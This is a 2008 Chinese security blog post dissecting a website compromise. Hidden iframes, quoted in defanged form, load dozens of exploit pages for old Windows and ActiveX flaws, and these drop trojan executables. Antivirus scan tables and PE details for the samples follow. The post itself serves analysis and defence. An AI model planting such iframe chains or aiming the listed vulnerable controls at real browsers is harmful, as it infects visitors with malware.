某国菜网利用N个漏洞挂马RootKit.Win32.RESSDT.dr等

最新推荐文章于 2021-11-12 17:46:27 发布
最新推荐文章于 2021-11-12 17:46:27 发布
阅读量2.8k 收藏 1
点赞数
分类专栏： 系统安全 文章标签： microsoft structure c file office dos
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/Purpleendurer/article/details/2888855
版权

某国菜网利用N个漏洞挂马RootKit.Win32.RESSDT.dr等


该网网页包含代码：
/---
＜iframe. src=hxxp://ruan*jian2008.*k**k*i.cn/ruan/w/1.htm width=1 height=0＞＜/iframe＞
---/

#1 hxxp://ruan*jian2008.*k**k*i.cn/ruan/w/1.htm 包含代码：
/---
＜iframe. src="ms08001.htm" width=100 height=0＞＜/iframe＞
＜iframe. src="CcXpsp.htm" width=100 height=0＞＜/iframe＞
＜iframe. src="CcIE.htm" width=100 height=0＞＜/iframe＞
＜iframe. src="baidu.htm" width=10 height=0＞＜/iframe＞
＜iframe. src="bfyy.htm" width=10 height=0＞＜/iframe＞
＜iframe. src="cx.htm" width=10 height=0＞＜/iframe＞
＜iframe. src="JetAudio.htm" width=10 height=0＞＜/iframe＞
＜iframe. src="lz.htm" width=10 height=0＞＜/iframe＞
＜iframe. src="Media.htm" width=10 height=0＞＜/iframe＞
＜iframe. src="ms06014.htm" width=10 height=0＞＜/iframe＞
＜iframe. src="ms06042.htm" width=10 height=0＞＜/iframe＞
＜iframe. src="ms07017.htm" width=10 height=0＞＜/iframe＞
＜iframe. src="ms07027.htm" width=10 height=0＞＜/iframe＞
＜iframe. src="ms07033.htm" width=10 height=0＞＜/iframe＞
＜iframe. src="ms07055.htm" width=10 height=0＞＜/iframe＞
＜iframe. src="Office.htm" width=10 height=0＞＜/iframe＞
＜iframe. src="Opera.htm" width=10 height=0＞＜/iframe＞
＜iframe. src="qvld.htm" width=10 height=0＞＜/iframe＞
＜iframe. src="real.htm" width=10 height=0＞＜/iframe＞
＜iframe. src="Baidu.htm" width=10 height=0＞＜/iframe＞
＜iframe. src="Ruising.htm" width=10 height=0＞＜/iframe＞
＜iframe. src="Ruising.htm" width=10 height=0＞＜/iframe＞
＜iframe. src="Thunder.htm" width=10 height=0＞＜/iframe＞
＜iframe. src="TTplayer.htm" width=10 height=0＞＜/iframe＞
＜iframe. src="uc.htm" width=10 height=0＞＜/iframe＞
＜iframe. src="xlkk.htm" width=10 height=0＞＜/iframe＞
＜iframe. src="sinatv.htm" width=10 height=0＞＜/iframe＞
＜iframe. src="icyfox.htm" width=10 height=0＞＜/iframe＞
＜iframe. src="icyfox1.htm" width=10 height=0＞＜/iframe＞
＜iframe. src="jetaudio.htm" width=10 height=0＞＜/iframe＞
＜iframe. src="media.htm" width=10 height=0＞＜/iframe＞
＜iframe. src="bfyy1.htm" width=10 height=0＞＜/iframe＞
＜iframe. src="06014.htm" width=10 height=0＞＜/iframe＞
＜iframe. src="sina.htm" width=10 height=0＞＜/iframe＞
＜iframe. src="08011.htm" width=10 height=0＞＜/iframe＞
＜iframe. src="ls1.htm" width=10 height=0＞＜/iframe＞
＜iframe. src="lsx.htm" width=10 height=0＞＜/iframe＞
＜iframe. src="xunlei5.htm" width=10 height=0＞＜/iframe＞
＜iframe. src="real11.htm" width=10 height=0＞＜/iframe＞
＜iframe. src="office08.htm" width=10 height=0＞＜/iframe＞
＜iframe. src="systrsy.htm" width=10 height=0＞＜/iframe＞
＜iframe. src="hy.htm" width=10 height=0＞＜/iframe＞
＜iframe. src="niu.htm" width=10 height=0＞＜/iframe＞
＜iframe. src="MsVs.htm" width=10 height=0＞＜/iframe＞
---/

利用 ms06-014漏洞下载 hxxp://ruan*jian2008.cn/xzz.exe

#1.2 hxxp://ruan*jian2008.*k**k*i.cn/ruan/w/CcXpsp.htm

利用ms06-014漏洞下载hxxp://ruan*jian2008.*k**k*i.cn/xzz.exe

文件说明符 : D:/test/xzz.exe
属性 : A---
数字签名:否
PE文件:是
获取文件版本信息大小失败!
创建时间 : 2008-9-4 16:24:37
修改时间 : 2008-9-4 16:24:38
大小 : 45056 字节 44.0 KB
MD5 : 9f1d0331e7d9bb3e6a14f3d77e354890
SHA1: 78FE5A93EDAFFEA072239A8BE60106B054DB667D
CRC32: 2316933b

文件说明符 : D:/test/xzz.exe
属性 : A---
数字签名:否
PE文件:是
获取文件版本信息大小失败!
创建时间 : 2008-9-4 16:24:37
修改时间 : 2008-9-4 16:24:38
大小 : 45056 字节 44.0 KB
MD5 : 9f1d0331e7d9bb3e6a14f3d77e354890
SHA1: 78FE5A93EDAFFEA072239A8BE60106B054DB667D
CRC32: 2316933b

文件 xzz.exe 接收于 2008.09.04 10:33:08 (CET) 结果: 13/36 (36.12%)

反病毒引擎版本最后更新扫描结果
AhnLab-V32008.9.3.02008.09.04-
AntiVir7.8.1.282008.09.04TR/Dropper.Gen
Authentium5.1.0.42008.09.03W32/Heuristic-KPP!Eldorado
Avast4.8.1195.02008.09.03Win32:Trojan-gen {Other}
AVG8.0.0.1612008.09.03Generic11.NRC
BitDefender7.22008.09.04-
CAT-QuickHeal9.502008.09.02-
ClamAV0.93.12008.09.04-
DrWeb4.44.0.091702008.09.04MULDROP.Trojan
eSafe7.0.17.02008.09.03-
eTrust-Vet31.6.60662008.09.03-
Ewido4.02008.09.03-
F-Prot4.4.4.562008.09.03W32/Heuristic-KPP!Eldorado
F-Secure8.0.14332.02008.09.04-
Fortinet3.14.0.02008.09.03-
GData192008.09.04Win32:Trojan-gen
IkarusT3.1.1.34.02008.09.04-
K7AntiVirus7.10.4392008.09.03-
Kaspersky7.0.0.1252008.09.04-
McAfee53762008.09.03-
Microsoft1.39032008.09.04-
NOD32v234132008.09.04-
Norman5.80.022008.09.03W32/Smalldrp.AIHN
Panda9.0.0.42008.09.03Suspicious file
PCTools4.4.2.02008.09.03-
Prevx1V22008.09.04-
Rising20.60.30.002008.09.04RootKit.Win32.RESSDT.dr
Sophos4.33.02008.09.04Mal/Dropper-AB
Sunbelt3.1.1582.12008.09.02-
Symantec102008.09.04Downloader
TheHacker6.3.0.8.0722008.09.04-
TrendMicro8.700.0.10042008.09.04-
VBA323.12.8.42008.09.03-
ViRobot2008.9.2.13612008.09.03-
VirusBuster4.5.11.02008.09.03-
Webwasher-Gateway6.6.22008.09.04Trojan.Dropper.Gen

附加信息
File size: 45056 bytes
MD5...: 9f1d0331e7d9bb3e6a14f3d77e354890
SHA1..: 78fe5a93edaffea072239a8be60106b054db667d
SHA256: 55ddfc834c2170e434106f08515bf54ec15522fec51c2e2a7a07bfd182e7233d
SHA512: 446b2f5a017f28ab441b902975882b146164087aebec12e3f818af07e528c43f
2baf6e3610ef374da195bb591e316088afe88f11d25467bfe8557357f78cbd7c
PEiD..: Armadillo v1.71
TrID..: File type identification
Win32 Executable MS Visual C++ (generic) (65.2%)
Win32 Executable Generic (14.7%)
Win32 Dynamic Link Library (generic) (13.1%)
Generic Win/DOS Executable (3.4%)
DOS Executable Generic (3.4%)
PEInfo: PE Structure information

( base data )
entrypointaddress.: 0x40197e
timedatestamp.....: 0x48b2db0b (Mon Aug 25 16:17:15 2008)
machinetype.......: 0x14c (I386)

( 4 sections )
name viradd virsiz rawdsiz ntrpy md5
.text 0x1000 0xb4a 0x1000 4.79 bae3f2b4fb31bd91eb6b567fc5eaf2f8
.rdata 0x2000 0x79a 0x1000 2.96 c19fb51c229fa86b387eb1bc55d78c2e
.data 0x3000 0x184 0x1000 0.66 9195ceb5daf1d9cd01606e8ba9348640
.rsrc 0x4000 0x6f40 0x7000 2.83 6baf7034b48f7e8fa0dcae86e4d44413

( 5 imports )
> KERNEL32.dll: CreateRemoteThread, GetProcAddress, GetModuleHandleA, WriteProcessMemory, VirtualAllocEx, lstrlenA, OpenProcess, ResumeThread, CreateProcessA, SetThreadPriority, GetCurrentThread, SetPriorityClass, lstrcatA, lstrcpyA, CreateToolhelp32Snapshot, GetShortPathNameA, GetModuleFileNameA, CloseHandle, SetFileTime, WriteFile, GetFileTime, CreateFileA, GlobalFree, LockResource, GlobalAlloc, LoadResource, SizeofResource, FindResourceA, WinExec, Process32First, Process32Next, GetCurrentProcess, GetSystemDirectoryA, Sleep, GetEnvironmentVariableA, GetStartupInfoA
> ADVAPI32.dll: RegCloseKey, OpenProcessToken, LookupPrivilegeValueA, AdjustTokenPrivileges, RegOpenKeyExA, RegQueryValueExA
> MFC42.DLL: -, -, -, -
> MSVCRT.dll: exit, _acmdln, __getmainargs, tolower, __setusermatherr, _XcptFilter, __p__commode, __p__fmode, __set_app_type, _except_handler3, _controlfp, _exit, _onexit, __dllonexit, _adjust_fdiv, __CxxFrameHandler, _initterm
> MSVCP60.dll: __0_Winit@std@@QAE@XZ, __1Init@ios_base@std@@QAE@XZ, __0Init@ios_base@std@@QAE@XZ, __1_Winit@std@@QAE@XZ

( 0 exports )


#1.3 hxxp://ruan*jian2008.*k**k*i.cn/ruan/w/CcIE.htm

利用ms06-014漏洞下载hxxp://ruan*jian2008.*k**k*i.cn/xzz.exe


#1.4 hxxp://ruan*jian2008.*k**k*i.cn/ruan/w/baidu.htm

利用BaiDu工具条（CLSID:{A7F05EE4-0426-454F-8013-C41E3596E9E9}）下载hxxp://ruan*jian2008.*k**k*i.com/xzz.exe

#1.5 hxxp://ruan*jian2008.*k**k*i.cn/ruan/w/bfyy.htm

利用暴风影音（clsid:6BE52E1D-E586-474f-A6E2-1A85A9B4D9FB）漏洞下载 hxxp://ruan*jian2008.*k**k*i.com/4.exe


文件说明符 : D:/test/4.exe
属性 : A---
数字签名:否
PE文件:是
获取文件版本信息大小失败!
创建时间 : 2008-9-4 16:43:49
修改时间 : 2008-9-4 16:46:30
大小 : 2222080 字节 2.122 MB
MD5 : 94ac223a30d22e18c24881e7e95728bc
SHA1: 5731768C4240D9912F02DF6AA8352B8F3F803866
CRC32: 7ec6399b

采用文件夹图标

文件 4.rar 接收于 2008.09.04 11:01:42 (CET) 结果: 12/36 (33.34%)

反病毒引擎版本最后更新扫描结果
AhnLab-V32008.9.3.02008.09.04-
AntiVir7.8.1.282008.09.04TR/Hijacker.Gen
Authentium5.1.0.42008.09.03-
Avast4.8.1195.02008.09.03Win32:Trojan-gen {Other}
AVG8.0.0.1612008.09.03PSW.Generic6.SCG
BitDefender7.22008.09.04Dropped:Trojan.PWS.QQPass.NEG
CAT-QuickHeal9.502008.09.02-
ClamAV0.93.12008.09.04-
DrWeb4.44.0.091702008.09.04MULDROP.Trojan
eSafe7.0.17.02008.09.03-
eTrust-Vet31.6.60692008.09.04-
Ewido4.02008.09.03-
F-Prot4.4.4.562008.09.03W32/Agent.S.gen!Eldorado
F-Secure8.0.14332.02008.09.04-
Fortinet3.14.0.02008.09.03-
GData192008.09.04-
IkarusT3.1.1.34.02008.09.04Trojan-PWS.Win32.QQPass.pb
K7AntiVirus7.10.4392008.09.03-
Kaspersky7.0.0.1252008.09.04-
McAfee53762008.09.03-
Microsoft1.39032008.09.04TrojanDropper:Win32/Delfdru.gen!A
NOD32v234132008.09.04-
Norman5.80.022008.09.03-
Panda9.0.0.42008.09.03Suspicious file
PCTools4.4.2.02008.09.03-
Prevx1V22008.09.04-
Rising20.60.30.002008.09.04-
Sophos4.33.02008.09.04Mal/Behav-043
Sunbelt3.1.1592.12008.08.30-
Symantec102008.09.04-
TheHacker6.3.0.8.0722008.09.04-
TrendMicro8.700.0.10042008.09.04-
VBA323.12.8.42008.09.02MalwareScope.Trojan-PSW.Game.16
ViRobot2008.9.2.13612008.09.03-
VirusBuster4.5.11.02008.09.03-
Webwasher-Gateway6.6.22008.09.04Trojan.Hijacker.Gen

附加信息
File size: 1836884 bytes
MD5...: f90b42115323b398c54001a94623b3de
SHA1..: 81d454d14047adc008d36954c2385d1e0388d7bc
SHA256: a3edb0fa4d5996ee2d9275c72de6bf980b1fbb223a5d779007f54d8f66cb67b3
SHA512: 4096d3f11e30f747f90a7e7027bc50cdfc3b97a892daa24c0c1bbff151c500bb
5a92632320e01aeaf869babb8b48af17eb0c8c595ccfabd940d7f95b1ca2741e
PEiD..: -
TrID..: File type identification
RAR Archive (83.3%)
REALbasic Project (16.6%)
PEInfo: -
packers (Kaspersky): UPack

#1.6 hxxp://ruan*jian2008.*k**k*i.cn/ruan/w/cx.htm

利用超星阅读器（clsid:7F5E27CE-4A5C-11D3-9232-0000B48A05B2）漏洞下载hxxp://ruan*jian2008.*k**k*i.com/4.exe


#1.7 hxxp://ruan*jian2008.*k**k*i.cn/ruan/w/JetAudio.htm

利用韩国jetAudio播放器ActiveX（clsid:8D1636FD-CA49-4B4E-90E4-0A20E03A15E8）控件漏洞下载hxxp://ruan*jian2008.*k**k*i.com/xzz.exe

#1.8 hxxp://ruan*jian2008.*k**k*i.cn/ruan/w/lz.htm

利用联众世界（clsid:61F5C358-60FB-4A23-A312-D2B556620F20）漏洞下载hxxp://ruan*jian2008.*k**k*i.com/4.exe

#1.9 hxxp://ruan*jian2008.*k**k*i.cn/ruan/w/Media.htm

利用ms07-017漏洞下载 hxxp://ruan*jian2008.*k**k*i.cn/ruan/w/wm.cur，hxxp://ruan*jian2008.*k**k*i.com/xzz.exe

#1.13 hxxp://ruan*jian2008.*k**k*i.cn/ruan/w/ms07027.htm

利用ms07-027漏洞下载 hxxp://ruan*jian2008.*k**k*i.com/4.exe

#1.14 hxxp://ruan*jian2008.*k**k*i.cn/ruan/w/ms07033.htm

利用ms07-033漏洞下载 hxxp://ruan*jian2008.*k**k*i.com/4.exe

#1.15 hxxp://ruan*jian2008.*k**k*i.cn/ruan/w/ms07055.htm

利用ms07-055漏洞下载 hxxp://ruan*jian2008.*k**k*i.com/4.exe

#1.16 hxxp://ruan*jian2008.*k**k*i.cn/ruan/w/Office.htm

利用Microsoft Office Snapshot Viewer ActiveX（clsid:F0E42D50-368C-11D0-AD81-00A0C90DC8D9）漏洞下载 hxxp://ruan*jian2008.*k**k*i.com/4.exe

#1.17 hxxp://ruan*jian2008.*k**k*i.cn/ruan/w/Opera.htm

利用Opera浏览器漏洞下载 hxxp://ruan*jian2008.*k**k*i.com/4.exe

#1.18 hxxp://ruan*jian2008.*k**k*i.cn/ruan/w/qvld.htm
/---
文件不存在
---/

#1.19 hxxp://ruan*jian2008.*k**k*i.cn/ruan/w/real.htm

利用RealPlayer漏洞下载hxxp://ruan*jian2008.*k**k*i.com/4.exe

#1.20 hxxp://ruan*jian2008.*k**k*i.cn/ruan/w/Ruising.htm

利用瑞星免费在线查毒OL2005.dll ActiveX控件（clsid:E4E2F180-CB8B-4DE9-ACBB-DA745D3BA153）远程代码执行漏洞下载hxxp://ruan*jian2008.*k**k*i.com/4.exe

#1.21 hxxp://ruan*jian2008.*k**k*i.cn/ruan/w/Thunder.htm

利用迅雷（ThunderServer.webThunder.1）漏洞下载hxxp://ruan*jian2008.*k**k*i.com/xzz.exe

#1.22 hxxp://ruan*jian2008.*k**k*i.cn/ruan/w/TTplayer.htm

利用千千静听（TTplayer）ttp_mod.dll（CLSID:89AE5F82-410A-4040-9387-68D1144EFD03）析med文件堆溢出漏洞下载hxxp://ruan*jian2008.*k**k*i.com/xzz.exe

#1.23 hxxp://ruan*jian2008.*k**k*i.cn/ruan/w/uc.htm

利用新浪UC（BROWSER2UC.BROWSERToUC）溢出漏洞下载hxxp://ruan*jian2008.*k**k*i.com/4.exe

#1.24 hxxp://ruan*jian2008.*k**k*i.cn/ruan/w/xlkk.htm

利用迅雷看看（clsid:F3E70CEA-956E-49CC-B444-73AFE593AD7F）漏洞下载hxxp://ruan*jian2008.*k**k*i.com/4.exe

#1.25 hxxp://ruan*jian2008.*k**k*i.cn/ruan/w/sinatv.htm

利用新浪DLoader Class ActiveX控件（clsid:78ABDC59-D8E7-44D3-9A76-9A0918C52B4A）任意文件下载漏洞下载hxxp://ruan*jian2008.*k**k*i.cn/xzz.exe

#1.26 hxxp://ruan*jian2008.*k**k*i.cn/ruan/w/icyfox.htm

下载hxxp://ruan*jian2008.*k**k*i.cn/xzz.exe

#1.27 hxxp://ruan*jian2008.*k**k*i.cn/ruan/w/icyfox1.htm

下载hxxp://ruan*jian2008.*k**k*i.cn/xzz.exe

#1.28 hxxp://ruan*jian2008.*k**k*i.cn/ruan/w/bfyy1.htm

利用新浪DLoader Class ActiveX控件（clsid:78ABDC59-D8E7-44D3-9A76-9A0918C52B4A）任意文件下载漏洞下载hxxp://ruan*jian2008.*k**k*i.cn/xzz.exe

#1.29 hxxp://ruan*jian2008.*k**k*i.cn/ruan/w/08011.htm

利用MS08-011漏洞（Microsoft Office .WPS File Stack Overflow Exploit，clsid:00E1DB59-6EFD-4CE7-8C0A-2DA3BCAAD9C6）下载 hxxp://ruan*jian2008.*k**k*i.cn/xzz.exe

#1.30 hxxp://ruan*jian2008.*k**k*i.cn/ruan/w/ls1.htm

利用联众世界（clsid:AE93C5DF-A990-11D1-AEBD-5254ABDD2B69）漏洞下载hxxp://ruan*jian2008.*k**k*i.cn/xzz.exe

#1.31 hxxp://ruan*jian2008.*k**k*i.cn/ruan/w/lsx.htm

利用联众世界（clsid:61F5C358-60FB-4A23-A312-D2B556620F20）漏洞下载hxxp://ruan*jian2008.*k**k*i.cn/xzz.exe

#1.32 hxxp://ruan*jian2008.*k**k*i.cn/ruan/w/xunlei5.htm

利用迅雷5（clsid:EEDD6FF9-13DE-496B-9A1C-D78B3215E266）漏洞下载hxxp://ruan*jian2008.*k**k*i.cn/xzz.exe

#1.33 hxxp://ruan*jian2008.*k**k*i.cn/ruan/w/real11.htm
/---
文件不存在
---/

#1.34 hxxp://ruan*jian2008.*k**k*i.cn/ruan/w/office08.htm

利用MS Office Snapshot Viewer ActiveX（snpvw.Snapshot Viewer Control.1） Exploit 下载hxxp://ruan*jian2008.*k**k*i.cn/xzz.exe

#1.35 hxxp://ruan*jian2008.*k**k*i.cn/ruan/w/systrsy.htm

下载 hxxp://ruan*jian2008.*k**k*i.cn/xzz.exe，1.exe，2.exe

文件说明符 : D:/test/1.exe
属性 : A---
数字签名:否
PE文件:是
获取文件版本信息大小失败!
创建时间 : 2008-8-31 18:15:35
修改时间 : 2008-8-31 18:15:42
大小 : 632832 字节 618.0 KB
MD5 : 83fcf34cef2699f9f29a7906f758e6d6
SHA1: 0C0E3EE9FDBC8355329CD9B5CA9FF82EF373E537
CRC32: 83590948

文件 1.exe 接收于 2008.09.02 08:22:23 (CET) 结果: 12/36 (33.34%)

反病毒引擎版本最后更新扫描结果
AhnLab-V32008.9.2.02008.09.02-
AntiVir7.8.1.232008.09.01TR/Dropper.Gen
Authentium5.1.0.42008.09.02-
Avast4.8.1195.02008.09.01Win32:Monga
AVG8.0.0.1612008.09.01Pakes.L
BitDefender7.22008.09.02Trojan.Inject.GO
CAT-QuickHeal9.502008.08.29(Suspicious) - DNAScan
ClamAV0.93.12008.09.02-
DrWeb4.44.0.091702008.09.01-
eSafe7.0.17.02008.09.01-
eTrust-Vet31.6.60622008.09.01-
Ewido4.02008.09.01-
F-Prot4.4.4.562008.09.02W32/Hupigon.O.gen!Eldorado
F-Secure7.60.13501.02008.09.02-
Fortinet3.14.0.02008.09.02W32/Hupigon.GE!tr.bdr
GData192008.09.02-
IkarusT3.1.1.34.02008.09.02Virus.Win32.Virtualizer
K7AntiVirus7.10.4352008.09.01-
Kaspersky7.0.0.1252008.09.02-
McAfee53742008.09.01-
Microsoft1.38072008.09.02-
NOD32v234062008.09.02-
Norman5.80.022008.09.01-
Panda9.0.0.42008.09.02-
PCTools4.4.2.02008.09.01-
Prevx1V22008.09.02-
Rising20.60.10.002008.09.02-
Sophos4.33.02008.09.02Mal/Emogen-E
Sunbelt3.1.1592.12008.08.30VIPRE.Suspicious
Symantec102008.09.02-
TheHacker6.3.0.8.0692008.09.01-
TrendMicro8.700.0.10042008.09.02Cryp_Pai-6
VBA323.12.8.42008.09.01-
ViRobot2008.9.1.13592008.09.01-
VirusBuster4.5.11.02008.09.01-
Webwasher-Gateway6.6.22008.09.01Trojan.Dropper.Gen

附加信息
File size: 632832 bytes
MD5...: 83fcf34cef2699f9f29a7906f758e6d6
SHA1..: 0c0e3ee9fdbc8355329cd9b5ca9ff82ef373e537
SHA256: f24089c722f0c3a75486880df48be170e7ce158236fa24dcb29104aab095bc86
SHA512: c098704adc12aa51c2e58996b5cb4d9a4b7ce8f27e42a49c2e88e5fc1bbf866d
568a990515388f162672a2b1b64de1c83f9deaadf3af4f5ad497aa27afca02f8
PEiD..: ASProtect 1.33 - 2.1 Registered -> Alexey Solodovnikov
TrID..: File type identification
Win32 Executable Generic (68.0%)
Generic Win/DOS Executable (15.9%)
DOS Executable Generic (15.9%)
Autodesk FLIC Image File (extensions: flc, fli, cel) (0.0%)
PEInfo: PE Structure information

( base data )
entrypointaddress.: 0x105c000
timedatestamp.....: 0x41107bc1 (Wed Aug 04 06:01:37 2004)
machinetype.......: 0x14c (I386)

( 6 sections )
name viradd virsiz rawdsiz ntrpy md5
0x1000 0x5b000 0x0 0.00 d41d8cd98f00b204e9800998ecf8427e
0x5c000 0x5b000 0x58800 8.00 09ddf420c4b737f1fc0fcca9b9814128
.rsrc 0xb7000 0x1000 0x200 4.96 fc7daca374c150fdc7edf901caf58e64
0xb8000 0x1000 0x200 7.60 61676096051219ccea18f55cee2ca4a2
.data 0xb9000 0x42000 0x41800 7.91 1c2377ccc939c0ddb44bab600b4f84a7
.adata 0xfb000 0x1000 0x0 0.00 d41d8cd98f00b204e9800998ecf8427e

( 3 imports )
> kernel32.dll: GetProcAddress, GetModuleHandleA, LoadLibraryA
> oleaut32.dll: VariantChangeTypeEx
> kernel32.dll: RaiseException

( 0 exports )
packers (Kaspersky): PE_Patch
packers (Avast): ASProtect


文件说明符 : D:/test/2.exe
属性 : A---
数字签名:否
PE文件:是
语言 : 中文(中国)
文件版本 : 6.00.2900.3300 (xpsp.080125-2028)
说明 : Win32 Cabinet Self-Extractor                                          
版权 : (C) Microsoft Corporation. 保留所有权利.
产品版本 : 6.00.2900.3300
产品名称 : Microsoft(R) Windows(R) Operating System
公司名称 : Microsoft Corporation
内部名称 : Wextract               
源文件名 : WEXTRACT.EXE           
创建时间 : 2008-8-31 18:15:25
修改时间 : 2008-8-31 18:15:33
大小 : 740352 字节 723.0 KB
MD5 : 60ad4121a6309e439b74dc7bb749e553
SHA1: 8793BC8001E902588910C880B2BF77331F075DCE
CRC32: 2334ca4c

内含：5.exe


文件说明符 : D:/test/5.exe
属性 : A---
数字签名:否
PE文件:是
获取文件版本信息大小失败!
创建时间 : 2008-7-17 11:1:36
修改时间 : 2008-7-17 11:1:36
大小 : 681984 字节 666.0 KB
MD5 : 457870fa5975fdcf39ceeca5c85948e3
SHA1: E618F83981A32C5FEEA71357287F768C4B786093
CRC32: c887cd8b

文件 5.exe 接收于 2008.09.02 08:28:40 (CET)

反病毒引擎版本最后更新扫描结果
AhnLab-V32008.9.2.02008.09.02-
AntiVir7.8.1.232008.09.01TR/Crypt.XPACK.Gen
Authentium5.1.0.42008.09.02-
Avast4.8.1195.02008.09.01-
AVG8.0.0.1612008.09.01-
BitDefender7.22008.09.02MemScan:Trojan.Dropper.Delf.BCB
CAT-QuickHeal9.502008.08.29(Suspicious) - DNAScan
ClamAV0.93.12008.09.02-
DrWeb4.44.0.091702008.09.01-
eSafe7.0.17.02008.09.01-
eTrust-Vet31.6.60622008.09.01-
Ewido4.02008.09.01-
F-Prot4.4.4.562008.09.02-
F-Secure7.60.13501.02008.09.02-
Fortinet3.14.0.02008.09.02-
GData192008.09.02-
IkarusT3.1.1.34.02008.09.02-
K7AntiVirus7.10.4352008.09.01-
Kaspersky7.0.0.1252008.09.02-
McAfee53742008.09.01-
Microsoft1.38072008.09.02-
NOD32v234062008.09.02-
Norman5.80.022008.09.01-
Panda9.0.0.42008.09.02Suspicious file
PCTools4.4.2.02008.09.01-
Prevx1V22008.09.02-
Rising20.60.10.002008.09.02-
Sophos4.33.02008.09.02-
Sunbelt3.1.1592.12008.08.30VIPRE.Suspicious
Symantec102008.09.02-
TheHacker6.3.0.8.0692008.09.01-
TrendMicro8.700.0.10042008.09.02-
VBA323.12.8.42008.09.01-
ViRobot2008.9.1.13592008.09.01-
VirusBuster4.5.11.02008.09.01-
Webwasher-Gateway6.6.22008.09.01Trojan.Crypt.XPACK.Gen

附加信息
File size: 681984 bytes
MD5...: 457870fa5975fdcf39ceeca5c85948e3
SHA1..: e618f83981a32c5feea71357287f768c4b786093
SHA256: f560317472a5c3e5a00c53ae04d2540135cf87406b9cd1229503f1367549193d
SHA512: fa619305dbd55713d5a640d57d3a15543a1a1afcada8d79dcc00ab57943f203a
3e5e1873576887c0984b0882568cc1050dfef1333adadbd263523a46facfaedb
PEiD..: ASProtect v1.23 RC1
TrID..: File type identification
Win32 Executable Generic (58.3%)
Win16/32 Executable Delphi generic (14.1%)
Generic Win/DOS Executable (13.7%)
DOS Executable Generic (13.6%)
Autodesk FLIC Image File (extensions: flc, fli, cel) (0.0%)
PEInfo: PE Structure information

( base data )
entrypointaddress.: 0x401000
timedatestamp.....: 0x2a425e19 (Fri Jun 19 22:22:17 1992)
machinetype.......: 0x14c (I386)

( 11 sections )
name viradd virsiz rawdsiz ntrpy md5
0x1000 0x2000 0x1000 7.95 ec55eb6e87785a30fa30184143bc91a0
0x3000 0x1000 0x200 7.57 efaf1a6c55af1485ae16869e097ea013
0x4000 0x1000 0x0 0.00 d41d8cd98f00b204e9800998ecf8427e
0x5000 0x1000 0x400 7.81 fcb57e634f692a1157a8d2adfc19daee
0x6000 0x1000 0x0 0.00 d41d8cd98f00b204e9800998ecf8427e
0x7000 0x1000 0x200 0.20 467f29e48f3451df774e13adae5aafc2
0x8000 0x1000 0x0 0.00 d41d8cd98f00b204e9800998ecf8427e
.rsrc 0x9000 0xaa000 0x60c00 8.00 6131b07e586d38ed0f7dbcf304a003fc
0xb3000 0x1000 0x200 7.54 7b2c4b8eca4448745248eb4681bc781d
.data 0xb4000 0x44000 0x43e00 7.92 cc009e690231875ddd0d207c233b0c43
.adata 0xf8000 0x1000 0x0 0.00 d41d8cd98f00b204e9800998ecf8427e

( 5 imports )
> kernel32.dll: GetProcAddress, GetModuleHandleA, LoadLibraryA
> advapi32.dll: GetUserNameA
> shell32.dll: ShellExecuteA
> oleaut32.dll: VariantChangeTypeEx
> kernel32.dll: RaiseException

( 0 exports )
packers (Kaspersky): PE_Patch
packers (F-Prot): Aspack


#1.36 hxxp://ruan*jian2008.*k**k*i.cn/ruan/w/hy.htm（卡巴斯基已检测到: 木马程序 Trojan-Downloader.VBS.Psyme.fd）

利用ms06-014漏洞下载hxxp://ruan*jian2008.*k**k*i.cn/xzz.exe

#1.36.1 hxxp://ruan*jian2008.*k**k*i.cn/ruan/w/huoyan.htm
/---
文件不存在
---/

#1.36.2 hxxp://www.*es**8**6.com/pic/ddb/2006692151148920.gif
/---
文件不存在
---/

紫郢剑侠
关注
  • 0
    点赞
  • 踩
  • 1
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论
专栏目录
Windows下编译jrtplib.lib和jthread.lib
xiaoheliushuiya
12-15 265
研究了很多文章，自己终于搞定了，总结一下。 JRTPLIB库是一个RTP协议的开源库，使用这套库文件，我们可以创建端到端的RTP连 接，实现数据的实时传输。 RTP是 实时传输协议的简称。压缩包可以从这里获得： http://www.bairuitech.com/upimg/soft/jrtplib-3.7.1.rar 或者http://research.edm.uha...
针对delphi的病毒 W32.Induc 源码
guizicjj的专栏
08-22 857
把杀毒软件禁止掉后，终于把DLL中的PAS源程序剥出来了，供大家欣赏:uses windows;var sc:array[1..24] of string=(function x(s:string):string;var i:integer;begin for i:=1 to length(s) do     if s[i]:=#36 then     s[i]:=
Unix.Trojan.Agent-37008木马查杀
carry的博客
11-12 2206
最近一天突然发现公司网络出问题了，时不时就断网，起初行政部门联系网络运营商，以为是他们那边的网络故障，而且刚开始运营商说是光猫可能出故障了，已经在给我们安排发一个新的过来。光猫还没收到，宽带管理人员发现光猫被内网发出的大量数据给卡死的，让我们排查一下内网设备。 于是我们赶紧登录路由查日志，发现路由也会被卡死，在某一段时间内突然发送大量数据到某个IP地址。第一反应是内网机器中毒了，一排查发现是从gitlab服务器发出去的。正好这台服务器平常是我来管理，这下解决这个问题成了我一个人的事，头大。。。 于此
bink2w32.dll
11-08
bink2w32.dll 直接拷贝该文件到系统目录里： 　　 1、Windows 95/98/Me系统，将dll复制到C:\Windows\System目录下。 　　 2、Windows NT/2000系统，将dll复制到C:\WINNT\System32目录下。 　　 3、Windows XP/WIN7系统，将dll复制到C:\Windows\System32目录下。
japussy（delphi病毒）研究使用
08-21
含源码，研究使用，大家在不读懂的情况下不要运行。{我们交流的是技术，展示的源代码和相关代码的目的只是为了说明技术的原理和使用。如果任何个人或组织利用本文档发布的技术进行破坏，应由其本人负责。}
fu-rootkit.rar
12-20
标题 "fu-rootkit.rar" 暗示我们讨论的主题是关于一种名为 "fu-rootkit" 的Rootkit。Rootkit是一种恶意软件，它隐藏在操作系统中，使得攻击者能够秘密地控制受害者的计算机系统，通常用于持续性渗透和数据窃取。这种...
个显示内存内容的程序.rar_rootkit_内存_内存 汇编
09-24
Rootkit通常会利用内存中的漏洞来隐藏自身，比如修改内存中的系统调用表，使得系统无法检测到其存在。这个程序可能就是为了让用户能够查看内存的原始状态，查找可能被Rootkit篡改的部分。 标签中的“内存汇编”...
一种基于内核定时器和工作队列的Linux rootkit.pdf
09-06
一种基于内核定时器和工作队列的Linux rootkit.pdf
RootKit.rar_行业发展研究_Visual_C++_
08-11
